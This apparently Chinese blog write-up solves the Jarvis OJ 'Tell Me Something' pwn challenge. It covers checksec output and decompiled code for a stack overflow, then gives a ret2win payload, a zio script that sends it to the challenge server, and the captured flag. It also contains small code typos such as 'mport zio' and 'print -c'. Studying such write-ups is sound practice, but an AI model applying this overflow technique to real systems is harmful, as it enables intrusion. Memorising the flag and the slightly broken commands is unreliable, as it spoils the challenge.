Jarvis OJ Tell Me Something

nc pwn.jarvisoj.com 9876
题目网址
https://www.jarvisoj.com/challenges
需要原料:
python zio模块。

拿到程序名字太长了,改名成 1
用file命令查看文件类型

 file 1
1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7429502fc855237f3f8eeceb262ddcf6b2c2854e, not stripped

64位elf文件。

接下来用checksec检查保护

liu@ubuntu:~/Desktop$ checksec 1
[*] '/home/liu/Desktop/1'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found #栈保护未开启
    NX:       NX enabled  #栈代码不可执行
    PIE:      No PIE (0x400000)

还可以用objdump -t 查找符号表。

用OD加载查找字符串这里写图片描述
跟进flax.txt字符串。

int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf; // [rsp+Fh] [rbp-9h]

  v0 = fopen("flag.txt", "r");
  while ( 1 )
  {
    result = fgetc(v0);
    buf = result;
    if ( (_BYTE)result == -1 )
      break;
    write(1, &buf, 1uLL);
  }
  return result;
}

程序调打开flag文件。
看一下main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-88h]

  write(1, "Input your message:\n", 0x14uLL);
  read(0, &v4, 0x100uLL);
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

溢出read函数把返回地址覆盖为good_game函数的起始地址0x0000000000400620
__int64 v4; // [rsp+0h] [rbp-88h]这里可以看出来输入的值存放在rbp-88h位置处。输入0x88刚好能覆盖掉ebp。0x80刚好把本函数的堆栈空间填满。
print -c ‘print “A”*0x88+”\x20\x06\x40\x00\x00\x00\x00\x00”’|xargs ./file能溢出成功(不过我试验的时候本地是成功不了的,需要在服务器上执行)。

pwn.py

mport zio
payload = "A" * 0x88 + "\x20\x06\x40\x00\x00\x00\x00\x00"
Io = zio.zio(("pwn.jarvisoj.com", 9876))
Io.write(payload)
Io.interact()

python pwn.py就能成功溢出服务器

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @Input your message:
I have received your message, Thank you!
PCTF{This_is_J4st_Begin}

总结:虽然短短的一篇文章,是我第一次独自做pwn。虽然对这个题做的不多搭建环境挺费力的 推荐这篇博客https://blog.csdn.net/gyhgx/article/details/53439417
学到了zio库
Io = zio.zio((“pwn.jarvisoj.com”, 9876))
Io.write(payload)
Io.interact()

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/79828197